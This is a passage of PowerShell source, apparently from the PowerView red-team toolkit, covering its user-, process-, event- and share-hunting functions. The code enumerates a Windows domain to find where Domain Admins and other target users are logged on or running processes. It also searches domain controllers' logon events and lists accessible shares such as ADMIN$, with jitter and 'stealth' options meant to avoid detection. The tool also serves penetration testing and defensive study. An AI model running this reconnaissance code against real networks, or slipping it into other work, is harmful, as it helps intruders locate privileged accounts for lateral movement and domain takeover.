-or $UserFilter -or $AdminCount) {\n            ForEach ($Domain in $TargetDomains) {\n\n                $Arguments = @{\n                    'Domain' = $Domain\n                    'DomainController' = $DomainController\n                    'ADSpath' = $UserADSpath\n                    'Filter' = $UserFilter\n                    'AdminCount' = $AdminCount\n                    'AllowDelegation' = $AllowDelegation\n                }\n\n                Write-Verbose \"[*] Querying domain $Domain for users\"\n                $TargetUsers += Get-NetUser @Arguments | ForEach-Object {\n                    $User = New-Object PSObject\n                    $User | Add-Member Noteproperty 'MemberDomain' $Domain\n                    $User | Add-Member Noteproperty 'MemberName' $_.samaccountname\n                    $User\n                }  | Where-Object {$_}\n\n            }\n        }\n        else {\n            ForEach ($Domain in $TargetDomains) {\n                Write-Verbose \"[*] Querying domain $Domain for users of group '$GroupName'\"\n                $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController\n            }\n        }\n\n        if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {\n            throw \"[!] No users found to search for!\"\n        }\n\n        # script block that enumerates a server\n        $HostEnumBlock = {\n            param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter)\n\n            # optionally check if the server is up first\n            $Up = $True\n            if($Ping) {\n                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName\n            }\n            if($Up) {\n                $Timer = [System.Diagnostics.Stopwatch]::StartNew()\n                $RandNo = New-Object System.Random\n\n                Do {\n                    if(!$DomainShortName) {\n                        # if we're not searching for foreign users, check session information\n                        $Sessions = Get-NetSession -ComputerName $ComputerName\n                        ForEach ($Session in $Sessions) {\n                            $UserName = $Session.sesi10_username\n                            $CName = $Session.sesi10_cname\n\n                            if($CName -and $CName.StartsWith(\"\\\\\")) {\n                                $CName = $CName.TrimStart(\"\\\")\n                            }\n\n                            # make sure we have a result\n                            if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {\n\n                                $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {\n\n                                    $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress\n                                    $FoundUser = New-Object PSObject\n                                    $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain\n                                    $FoundUser | Add-Member Noteproperty 'UserName' $UserName\n                                    $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName\n                                    $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress\n                                    $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName\n\n                                    # Try to resolve the DNS hostname of $Cname\n                                    try {\n                                        $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName\n                                        $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName\n                                    }\n                                    catch {\n                                        $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null\n                                    }\n\n                                    # see if we're checking to see if we have local admin access on this machine\n                                    if ($CheckAccess) {\n                                        $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName\n                                        $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin\n                                    }\n                                    else {\n                                        $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null\n                                    }\n                                    $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')\n                                    $FoundUser\n                                }\n                            }\n                        }\n                    }\n                    if(!$Stealth) {\n                        # if we're not 'stealthy', enumerate loggedon users as well\n                        $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName\n                        ForEach ($User in $LoggedOn) {\n                            $UserName = $User.wkui1_username\n                            # TODO: translate domain to authoratative name\n                            #   then match domain name ?\n                            $UserDomain = $User.wkui1_logon_domain\n\n                            # make sure wet have a result\n                            if (($UserName) -and ($UserName.trim() -ne '')) {\n\n                                $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {\n\n                                    $Proceed = $True\n                                    if($DomainShortName) {\n                                        if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {\n                                            $Proceed = $True\n                                        }\n                                        else {\n                                            $Proceed = $False\n                                        }\n                                    }\n                                    if($Proceed) {\n                                        $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress\n                                        $FoundUser = New-Object PSObject\n                                        $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain\n                                        $FoundUser | Add-Member Noteproperty 'UserName' $UserName\n                                        $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName\n                                        $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress\n                                        $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null\n                                        $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null\n\n                                        # see if we're checking to see if we have local admin access on this machine\n                                        if ($CheckAccess) {\n                                            $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName\n                                            $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin\n                                        }\n                                        else {\n                                            $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null\n                                        }\n                                        $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')\n                                        $FoundUser\n                                    }\n                                }\n                            }\n                        }\n                    }\n\n                    if ($Poll -gt 0) {\n                        Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)\n                    }\n                } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll)\n            }\n        }\n    }\n\n    process {\n\n        if($Threads) {\n            Write-Verbose \"Using threading with threads = $Threads\"\n\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\n            $ScriptParams = @{\n                'Ping' = $(-not $NoPing)\n                'TargetUsers' = $TargetUsers\n                'CurrentUser' = $CurrentUser\n                'Stealth' = $Stealth\n                'DomainShortName' = $DomainShortName\n                'Poll' = $Poll\n                'Delay' = $Delay\n                'Jitter' = $Jitter\n            }\n\n            # kick off the threaded script block + arguments \n            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads\n        }\n\n        else {\n            if(-not $NoPing -and ($ComputerName.count -ne 1)) {\n                # ping all hosts in parallel\n                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}\n                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100\n            }\n\n            Write-Verbose \"[*] Total number of active hosts: $($ComputerName.count)\"\n            $Counter = 0\n            $RandNo = New-Object System.Random\n\n            ForEach ($Computer in $ComputerName) {\n\n                $Counter = $Counter + 1\n\n                # sleep for our semi-randomized interval\n                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)\n\n                Write-Verbose \"[*] Enumerating server $Computer ($Counter of $($ComputerName.count))\"\n                $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0\n                $Result\n\n                if($Result -and $StopOnSuccess) {\n                    Write-Verbose \"[*] Target user found, returning early\"\n                    return\n                }\n            }\n        }\n\n    }\n}\n\n\nfunction Invoke-StealthUserHunter {\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Hosts')]\n        [String[]]\n        $ComputerName,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [String]\n        $ComputerFilter,\n\n        [String]\n        $ComputerADSpath,\n\n        [String]\n        $GroupName = 'Domain Admins',\n\n        [String]\n        $TargetServer,\n\n        [String]\n        $UserName,\n\n        [String]\n        $UserFilter,\n\n        [String]\n        $UserADSpath,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [String]\n        $UserFile,\n\n        [Switch]\n        $CheckAccess,\n\n        [Switch]\n        $StopOnSuccess,\n\n        [Switch]\n        $NoPing,\n\n        [UInt32]\n        $Delay = 0,\n\n        [Double]\n        $Jitter = .3,\n\n        [String]\n        $Domain,\n\n        [Switch]\n        $ShowAll,\n\n        [Switch]\n        $SearchForest,\n\n        [String]\n        [ValidateSet(\"DFS\",\"DC\",\"File\",\"All\")]\n        $StealthSource =\"All\"\n    )\n    # kick off Invoke-UserHunter with stealth options\n    Invoke-UserHunter -Stealth @PSBoundParameters\n}\n\n\nfunction Invoke-ProcessHunter {\n<#\n    .SYNOPSIS\n\n        Query the process lists of remote machines, searching for\n        processes with a specific name or owned by a specific user.\n        Thanks to @paulbrandau for the approach idea.\n        \n        Author: @harmj0y\n        License: BSD 3-Clause\n\n    .PARAMETER ComputerName\n\n        Host array to enumerate, passable on the pipeline.\n\n    .PARAMETER ComputerFile\n\n        File of hostnames/IPs to search.\n\n    .PARAMETER ComputerFilter\n\n        Host filter name to query AD for, wildcards accepted.\n\n    .PARAMETER ComputerADSpath\n\n        The LDAP source to search through for hosts, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER ProcessName\n\n        The name of the process to hunt, or a comma separated list of names.\n\n    .PARAMETER GroupName\n\n        Group name to query for target users.\n\n    .PARAMETER TargetServer\n\n        Hunt for users who are effective local admins on a target server.\n\n    .PARAMETER UserName\n\n        Specific username to search for.\n\n    .PARAMETER UserFilter\n\n        A customized ldap filter string to use for user enumeration, e.g. \"(description=*admin*)\"\n\n    .PARAMETER UserADSpath\n\n        The LDAP source to search through for users, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER UserFile\n\n        File of usernames to search for.\n\n    .PARAMETER StopOnSuccess\n\n        Switch. Stop hunting after finding after finding a target user/process.\n\n    .PARAMETER NoPing\n\n        Switch. Don't ping each host to ensure it's up before enumerating.\n\n    .PARAMETER Delay\n\n        Delay between enumerating hosts, defaults to 0\n\n    .PARAMETER Jitter\n\n        Jitter for the host delay, defaults to +/- 0.3\n\n    .PARAMETER Domain\n\n        Domain for query for machines, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ShowAll\n\n        Switch. Return all user location results.\n\n    .PARAMETER SearchForest\n\n        Switch. Search all domains in the forest for target users instead of just\n        a single domain.\n\n    .PARAMETER Threads\n\n        The maximum concurrent threads to execute.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target machine/domain.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ProcessHunter -Domain 'testing'\n        \n        Finds machines on the 'testing' domain where domain admins have a\n        running process.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ProcessHunter -Threads 20\n\n        Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt\n        \n        Finds machines in hosts.txt where any members of users.txt have running\n        processes.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ProcessHunter -GroupName \"Power Users\" -Delay 60\n        \n        Find machines on the domain where members of the \"Power Users\" groups have\n        running processes with a 60 second (+/- *.3) randomized delay between\n        touching each host.\n\n    .LINK\n\n        http://blog.harmj0y.net\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Hosts')]\n        [String[]]\n        $ComputerName,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [String]\n        $ComputerFilter,\n\n        [String]\n        $ComputerADSpath,\n\n        [String]\n        $ProcessName,\n\n        [String]\n        $GroupName = 'Domain Admins',\n\n        [String]\n        $TargetServer,\n\n        [String]\n        $UserName,\n\n        [String]\n        $UserFilter,\n\n        [String]\n        $UserADSpath,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [String]\n        $UserFile,\n\n        [Switch]\n        $StopOnSuccess,\n\n        [Switch]\n        $NoPing,\n\n        [UInt32]\n        $Delay = 0,\n\n        [Double]\n        $Jitter = .3,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $ShowAll,\n\n        [Switch]\n        $SearchForest,\n\n        [ValidateRange(1,100)] \n        [Int]\n        $Threads,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n\n        if ($PSBoundParameters['Debug']) {\n            $DebugPreference = 'Continue'\n        }\n\n        # random object for delay\n        $RandNo = New-Object System.Random\n\n        Write-Verbose \"[*] Running Invoke-ProcessHunter with delay of $Delay\"\n\n        #####################################################\n        #\n        # First we build the host target set\n        #\n        #####################################################\n\n        # if we're using a host list, read the targets in and add them to the target list\n        if($ComputerFile) {\n            $ComputerName = Get-Content -Path $ComputerFile\n        }\n\n        if(!$ComputerName) { \n            [array]$ComputerName = @()\n\n            if($Domain) {\n                $TargetDomains = @($Domain)\n            }\n            elseif($SearchForest) {\n                # get ALL the domains in the forest to search\n                $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }\n            }\n            else {\n                # use the local domain\n                $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )\n            }\n\n            ForEach ($Domain in $TargetDomains) {\n                Write-Verbose \"[*] Querying domain $Domain for hosts\"\n                $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath\n            }\n        \n            # remove any null target hosts, uniquify the list and shuffle it\n            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }\n            if($($ComputerName.Count) -eq 0) {\n                throw \"No hosts found!\"\n            }\n        }\n\n        #####################################################\n        #\n        # Now we build the user target set\n        #\n        #####################################################\n\n        if(!$ProcessName) {\n            Write-Verbose \"No process name specified, building a target user set\"\n\n            # users we're going to be searching for\n            $TargetUsers = @()\n\n            # if we want to hunt for the effective domain users who can access a target server\n            if($TargetServer) {\n                Write-Verbose \"Querying target server '$TargetServer' for local users\"\n                $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {\n                    ($_.AccountName).split(\"/\")[1].toLower()\n                }  | Where-Object {$_}\n            }\n            # if we get a specific username, only use that\n            elseif($UserName) {\n                Write-Verbose \"[*] Using target user '$UserName'...\"\n                $TargetUsers = @( $UserName.ToLower() )\n            }\n            # read in a target user list if we have one\n            elseif($UserFile) {\n                $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}\n            }\n            elseif($UserADSpath -or $UserFilter) {\n                ForEach ($Domain in $TargetDomains) {\n                    Write-Verbose \"[*] Querying domain $Domain for users\"\n                    $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {\n                        $_.samaccountname\n                    }  | Where-Object {$_}\n                }\n            }\n            else {\n                ForEach ($Domain in $TargetDomains) {\n                    Write-Verbose \"[*] Querying domain $Domain for users of group '$GroupName'\"\n                    $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {\n                        $_.MemberName\n                    }\n                }\n            }\n\n            if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {\n                throw \"[!] No users found to search for!\"\n            }\n        }\n\n        # script block that enumerates a server\n        $HostEnumBlock = {\n            param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)\n\n            # optionally check if the server is up first\n            $Up = $True\n            if($Ping) {\n                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName\n            }\n            if($Up) {\n                # try to enumerate all active processes on the remote host\n                # and search for a specific process name\n                $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue\n\n                ForEach ($Process in $Processes) {\n                    # if we're hunting for a process name or comma-separated names\n                    if($ProcessName) {\n                        $ProcessName.split(\",\") | ForEach-Object {\n                            if ($Process.ProcessName -match $_) {\n                                $Process\n                            }\n                        }\n                    }\n                    # if the session user is in the target list, display some output\n                    elseif ($TargetUsers -contains $Process.User) {\n                        $Process\n                    }\n                }\n            }\n        }\n\n    }\n\n    process {\n\n        if($Threads) {\n            Write-Verbose \"Using threading with threads = $Threads\"\n\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\n            $ScriptParams = @{\n                'Ping' = $(-not $NoPing)\n                'ProcessName' = $ProcessName\n                'TargetUsers' = $TargetUsers\n                'Credential' = $Credential\n            }\n\n            # kick off the threaded script block + arguments \n            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads\n        }\n\n        else {\n            if(-not $NoPing -and ($ComputerName.count -ne 1)) {\n                # ping all hosts in parallel\n                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}\n                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100\n            }\n\n            Write-Verbose \"[*] Total number of active hosts: $($ComputerName.count)\"\n            $Counter = 0\n\n            ForEach ($Computer in $ComputerName) {\n\n                $Counter = $Counter + 1\n\n                # sleep for our semi-randomized interval\n                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)\n\n                Write-Verbose \"[*] Enumerating server $Computer ($Counter of $($ComputerName.count))\"\n                $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential\n                $Result\n\n                if($Result -and $StopOnSuccess) {\n                    Write-Verbose \"[*] Target user/process found, returning early\"\n                    return\n                }\n            }\n        }\n    }\n}\n\n\nfunction Invoke-EventHunter {\n<#\n    .SYNOPSIS\n\n        Queries all domain controllers on the network for account\n        logon events (ID 4624) and TGT request events (ID 4768),\n        searching for target users.\n\n        Note: Domain Admin (or equiv) rights are needed to query\n        this information from the DCs.\n\n        Author: @sixdub, @harmj0y\n        License: BSD 3-Clause\n\n    .PARAMETER ComputerName\n\n        Host array to enumerate, passable on the pipeline.\n\n    .PARAMETER ComputerFile\n\n        File of hostnames/IPs to search.\n\n    .PARAMETER ComputerFilter\n\n        Host filter name to query AD for, wildcards accepted.\n\n    .PARAMETER ComputerADSpath\n\n        The LDAP source to search through for hosts, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER GroupName\n\n        Group name to query for target users.\n\n    .PARAMETER TargetServer\n\n        Hunt for users who are effective local admins on a target server.\n\n    .PARAMETER UserName\n\n        Specific username to search for.\n\n    .PARAMETER UserFilter\n\n        A customized ldap filter string to use for user enumeration, e.g. \"(description=*admin*)\"\n\n    .PARAMETER UserADSpath\n\n        The LDAP source to search through for users, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER UserFile\n\n        File of usernames to search for.\n\n    .PARAMETER NoPing\n\n        Don't ping each host to ensure it's up before enumerating.\n\n    .PARAMETER Domain\n\n        Domain for query for machines, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER SearchDays\n\n        Number of days back to search logs for. Default 3.\n\n    .PARAMETER SearchForest\n\n        Switch. Search all domains in the forest for target users instead of just\n        a single domain.\n\n    .PARAMETER Threads\n\n        The maximum concurrent threads to execute.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-EventHunter\n\n    .LINK\n\n        http://blog.harmj0y.net\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Hosts')]\n        [String[]]\n        $ComputerName,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [String]\n        $ComputerFilter,\n\n        [String]\n        $ComputerADSpath,\n\n        [String]\n        $GroupName = 'Domain Admins',\n\n        [String]\n        $TargetServer,\n\n        [String[]]\n        $UserName,\n\n        [String]\n        $UserFilter,\n\n        [String]\n        $UserADSpath,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [String]\n        $UserFile,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Int32]\n        $SearchDays = 3,\n\n        [Switch]\n        $SearchForest,\n\n        [ValidateRange(1,100)] \n        [Int]\n        $Threads,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n\n        if ($PSBoundParameters['Debug']) {\n            $DebugPreference = 'Continue'\n        }\n\n        # random object for delay\n        $RandNo = New-Object System.Random\n\n        Write-Verbose \"[*] Running Invoke-EventHunter\"\n\n        if($Domain) {\n            $TargetDomains = @($Domain)\n        }\n        elseif($SearchForest) {\n            # get ALL the domains in the forest to search\n            $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }\n        }\n        else {\n            # use the local domain\n            $TargetDomains = @( (Get-NetDomain -Credential $Credential).name )\n        }\n\n        #####################################################\n        #\n        # First we build the host target set\n        #\n        #####################################################\n\n        if(!$ComputerName) { \n            # if we're using a host list, read the targets in and add them to the target list\n            if($ComputerFile) {\n                $ComputerName = Get-Content -Path $ComputerFile\n            }\n            elseif($ComputerFilter -or $ComputerADSpath) {\n                [array]$ComputerName = @()\n                ForEach ($Domain in $TargetDomains) {\n                    Write-Verbose \"[*] Querying domain $Domain for hosts\"\n                    $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath\n                }\n            }\n            else {\n                # if a computer specifier isn't given, try to enumerate all domain controllers\n                [array]$ComputerName = @()\n                ForEach ($Domain in $TargetDomains) {\n                    Write-Verbose \"[*] Querying domain $Domain for domain controllers\"\n                    $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}\n                }\n            }\n\n            # remove any null target hosts, uniquify the list and shuffle it\n            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }\n            if($($ComputerName.Count) -eq 0) {\n                throw \"No hosts found!\"\n            }\n        }\n\n        #####################################################\n        #\n        # Now we build the user target set\n        #\n        #####################################################\n\n        # users we're going to be searching for\n        $TargetUsers = @()\n\n        # if we want to hunt for the effective domain users who can access a target server\n        if($TargetServer) {\n            Write-Verbose \"Querying target server '$TargetServer' for local users\"\n            $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {\n                ($_.AccountName).split(\"/\")[1].toLower()\n            }  | Where-Object {$_}\n        }\n        # if we get a specific username, only use that\n        elseif($UserName) {\n            # Write-Verbose \"[*] Using target user '$UserName'...\"\n            $TargetUsers = $UserName | ForEach-Object {$_.ToLower()}\n            if($TargetUsers -isnot [System.Array]) {\n                $TargetUsers = @($TargetUsers)\n            }\n        }\n        # read in a target user list if we have one\n        elseif($UserFile) {\n            $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}\n        }\n        elseif($UserADSpath -or $UserFilter) {\n            ForEach ($Domain in $TargetDomains) {\n                Write-Verbose \"[*] Querying domain $Domain for users\"\n                $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {\n                    $_.samaccountname\n                }  | Where-Object {$_}\n            }\n        }\n        else {\n            ForEach ($Domain in $TargetDomains) {\n                Write-Verbose \"[*] Querying domain $Domain for users of group '$GroupName'\"\n                $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {\n                    $_.MemberName\n                }\n            }\n        }\n\n        if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {\n            throw \"[!] No users found to search for!\"\n        }\n\n        # script block that enumerates a server\n        $HostEnumBlock = {\n            param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)\n\n            # optionally check if the server is up first\n            $Up = $True\n            if($Ping) {\n                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName\n            }\n            if($Up) {\n                # try to enumerate\n                if($Credential) {\n                    Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {\n                        # filter for the target user set\n                        $TargetUsers -contains $_.UserName\n                    }\n                }\n                else {\n                    Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {\n                        # filter for the target user set\n                        $TargetUsers -contains $_.UserName\n                    }\n                }\n            }\n        }\n\n    }\n\n    process {\n\n        if($Threads) {\n            Write-Verbose \"Using threading with threads = $Threads\"\n\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\n            $ScriptParams = @{\n                'Ping' = $(-not $NoPing)\n                'TargetUsers' = $TargetUsers\n                'SearchDays' = $SearchDays\n                'Credential' = $Credential\n            }\n\n            # kick off the threaded script block + arguments \n            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads\n        }\n\n        else {\n            if(-not $NoPing -and ($ComputerName.count -ne 1)) {\n                # ping all hosts in parallel\n                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}\n                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100\n            }\n\n            Write-Verbose \"[*] Total number of active hosts: $($ComputerName.count)\"\n            $Counter = 0\n\n            ForEach ($Computer in $ComputerName) {\n\n                $Counter = $Counter + 1\n\n                # sleep for our semi-randomized interval\n                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)\n\n                Write-Verbose \"[*] Enumerating server $Computer ($Counter of $($ComputerName.count))\"\n                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential\n            }\n        }\n\n    }\n}\n\n\nfunction Invoke-ShareFinder {\n<#\n    .SYNOPSIS\n\n        This function finds the local domain name for a host using Get-NetDomain,\n        queries the domain for all active machines with Get-NetComputer, then for\n        each server it lists of active shares with Get-NetShare. Non-standard shares\n        can be filtered out with -Exclude* flags.\n\n        Author: @harmj0y\n        License: BSD 3-Clause\n\n    .PARAMETER ComputerName\n\n        Host array to enumerate, passable on the pipeline.\n\n    .PARAMETER ComputerFile\n\n        File of hostnames/IPs to search.\n\n    .PARAMETER ComputerFilter\n\n        Host filter name to query AD for, wildcards accepted.\n\n    .PARAMETER ComputerADSpath\n\n        The LDAP source to search through for hosts, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER ExcludeStandard\n\n        Switch. Exclude standard shares from display (C$, IPC$, print$ etc.)\n\n    .PARAMETER ExcludePrint\n\n        Switch. Exclude the print$ share.\n\n    .PARAMETER ExcludeIPC\n\n        Switch. Exclude the IPC$ share.\n\n    .PARAMETER CheckShareAccess\n\n        Switch. Only display found shares that the local user has access to.\n\n    .PARAMETER CheckAdmin\n\n        Switch. Only display ADMIN$ shares the local user has access to.\n\n    .PARAMETER NoPing\n\n        Switch. Don't ping each host to ensure it's up before enumerating.\n\n    .PARAMETER Delay\n\n        Delay between enumerating hosts, defaults to 0.\n\n    .PARAMETER Jitter\n\n        Jitter for the host delay, defaults to +/- 0.3.\n\n    .PARAMETER Domain\n\n        Domain to query for machines, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER SearchForest\n\n        Switch. Search all domains in the forest for target users instead of just\n        a single domain.\n\n    .PARAMETER Threads\n\n        The maximum concurrent threads to execute.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ShareFinder -ExcludeStandard\n\n        Find non-standard shares on the domain.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ShareFinder -Threads 20\n\n        Multi-threaded share finding, replaces Invoke-ShareFinderThreaded.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ShareFinder -Delay 60\n\n        Find shares on the domain with a 60 second (+/- *.3)\n        randomized delay between touching each host.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ShareFinder -ComputerFile hosts.txt\n\n        Find shares for machines in the specified hosts file.\n\n    .LINK\n    http://blog.harmj0y.net\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Hosts')]\n        [String[]]\n        $ComputerName,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [String]\n        $ComputerFilter,\n\n        [String]\n        $ComputerADSpath,\n\n        [Switch]\n        $ExcludeStandard,\n\n        [Switch]\n        $ExcludePrint,\n\n        [Switch]\n        $ExcludeIPC,\n\n        [Switch]\n        $NoPing,\n\n        [Switch]\n        $CheckShareAccess,\n\n        [Switch]\n        $CheckAdmin,\n\n        [UInt32]\n        $Delay = 0,\n\n        [Double]\n        $Jitter = .3,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n \n        [Switch]\n        $SearchForest,\n\n        [ValidateRange(1,100)] \n        [Int]\n        $Threads\n    